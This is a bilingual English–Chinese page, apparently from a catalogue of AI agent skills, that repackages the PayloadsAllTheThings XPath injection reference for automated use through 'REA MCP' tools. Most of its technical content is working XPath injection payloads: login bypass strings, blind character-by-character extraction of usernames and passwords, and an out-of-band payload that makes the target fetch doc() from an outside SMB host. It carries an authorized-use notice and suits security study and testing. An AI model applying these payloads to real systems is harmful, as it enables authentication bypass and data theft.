Back to Details

payloads-xpath

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

XPath Injection Payloads

XPath Injection Payloads

Source: PayloadsAllTheThings/XPATH Injection Category: 
payloads-injection
| Skill ID: 
payloads-xpath
来源： PayloadsAllTheThings/XPATH Injection 分类： 
payloads-injection
| Skill ID: 
payloads-xpath

Overview

概述

XPath injection payloads for XML database authentication bypass and data extraction.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the XPath Injection Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
用于 XML 数据库身份验证绕过和数据提取的 XPath Injection Payload。
此 skill 将适用于 XPath Injection Payloads 领域的完整 PayloadsAllTheThings（PATT）Payload 库集成到 REA_Skill 框架中。在获得授权的渗透测试、漏洞赏金研究、安全审计和 CTF 挑战中使用它。

Workflow

工作流程

1. Recon & Identification

1. 侦察与识别

  • Identify the target technology stack and injection points
  • Enumerate endpoints, parameters, and input vectors
  • Determine applicable payload categories from the reference below
  • 确定目标技术栈和注入点
  • 枚举端点、参数和输入向量
  • 从下面的参考内容中确定适用的 Payload 类别

2. Payload Selection

2. Payload 选择

  • Browse the PATT payload library for the attack class
  • Select encoding-appropriate payloads for the target environment
  • Consider WAF bypass variants and obfuscation techniques
  • 浏览 PATT Payload 库中的攻击类别
  • 为目标环境选择编码方式合适的 Payload
  • 考虑 WAF 绕过变体和混淆技术

3. Exploitation (Authorized Only)

3. 漏洞利用（仅限授权使用）

  • Test payloads in order: passive → active → escalation
  • Document every payload tested and its response
  • Capture PoC evidence (screenshots, HTTP logs, curl output)
  • 按顺序测试 Payload：被动型 → 主动型 → 扩展型
  • 记录每个已测试的 Payload 及其响应
  • 收集 PoC 证据（截图、HTTP 日志、curl 输出）

4. Verification & Reporting

4. 验证与报告

  • Confirm the vulnerability with a clean minimal PoC
  • Map findings to CVE/CWE where applicable
  • Report with remediation recommendations and code fixes
  • 使用干净、精简的 PoC 确认漏洞
  • 在适用的情况下，将发现映射到 CVE/CWE
  • 报告发现，并提供修复建议和代码修复方案

Full PATT Reference

完整 PATT 参考

XPATH Injection

XPATH Injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
XPath Injection 是一种攻击技术，用于利用那些根据用户提供的输入构建 XPath（XML Path Language）查询，以查询或导航 XML 文档的应用程序。

Summary

摘要

Tools

工具

Methodology

方法

Similar to SQL injection, you want to terminate the query properly:
ps1
string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())
sql
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c
与 SQL injection 类似，你需要正确终止查询：
ps1
string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())
sql
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c

Blind Exploitation

盲注利用

  1. Size of a string
    sql
    and string-length(account)=SIZE_INT
  2. Access a character with 
    substring
    , and verify its value the 
    codepoints-to-string
    function
    sql
    substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
  1. 字符串长度
    sql
    and string-length(account)=SIZE_INT
  2. 使用 
    substring
    访问字符，并使用 
    codepoints-to-string
    函数验证其值
    sql
    substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Out Of Band Exploitation

带外利用

powershell
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
powershell
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')

Labs

实验

References

参考资料

REA MCP Integration

REA MCP 集成

javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.
javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

法律声明

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
⚠️ 仅限授权使用。 此 skill 中的所有 Payload 仅用于安全研究、获得书面许可的渗透测试、CTF 比赛和防御性研究。未经授权对不属于你所有或未获得明确测试许可的系统使用，均属违法。